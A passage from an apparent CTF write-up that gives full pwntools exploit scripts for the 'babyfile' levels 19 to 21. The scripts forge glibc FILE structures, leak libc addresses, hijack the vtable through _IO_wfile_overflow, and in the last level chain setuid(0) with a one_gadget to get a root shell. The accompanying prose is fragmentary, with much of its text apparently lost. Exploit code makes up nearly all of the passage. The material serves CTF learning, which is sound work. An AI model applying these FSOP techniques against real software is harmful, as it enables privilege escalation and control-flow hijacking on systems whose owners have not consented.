    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 19

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.

## Write-up


 exp……

 30s~~ 30s  IDA bushi~~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level19"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 20

## Information

- Category: Pwn

## Description

> Apply various FILE struct exploits to obtain a leak, then hijack hijack contro
l flow.

## Write-up

 o_O

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level20"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x270)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    raw_input("DEBUG")
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x260)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 21

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to obtain the flag.

## Write-up

 FSOP `abort`  `exit`  `_IO_flush_all_
lockp` `_IO_list_all`  vatble 
 `stderr` `stdout`  `stdin` `stderr`  
vtable  vtable  `__GI__IO_wfile_overflow`
 `_IO_wdoallocbuf`西 stderr  `_wide_data` 
 one_gadget

 `SUID`  one_gadget  shell  `cat /flag`
 ROP Chain  `setuid(0)`  one_gadget

 stack pivot  stderr ROP Chain
 orz

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level21"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b" is: ")
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc.address + 0x1E8DE0
    stderr = libc.sym["_IO_2_1_stderr_"]

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"stderr: {hex(stderr)}")

    one_gadget = libc.address + 0xE3B01
    pop_rdi_ret = libc.address + 0x128B8D
    leave_ret = libc.address + 0x578C8

    fp = FileStructure()
    fp._IO_read_ptr = pop_rdi_ret
    fp._IO_read_end = 0
    fp._IO_read_base = libc.sym["setuid"]
    fp._IO_write_ptr = one_gadget + 1
    fp._IO_write_base = one_gadget
    fp._lock = stderr + 0x10
    fp._wide_data = stderr - 0x48
    fp._codecvt = stderr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = leave_ret

    raw_input("DEBUG")
    target.send(bytes(fp))

    target.interactive()


if __name__ == "__main__":
    main()
```

# 

……15  xD

……

 FSOP  ker
nel IoT2 AM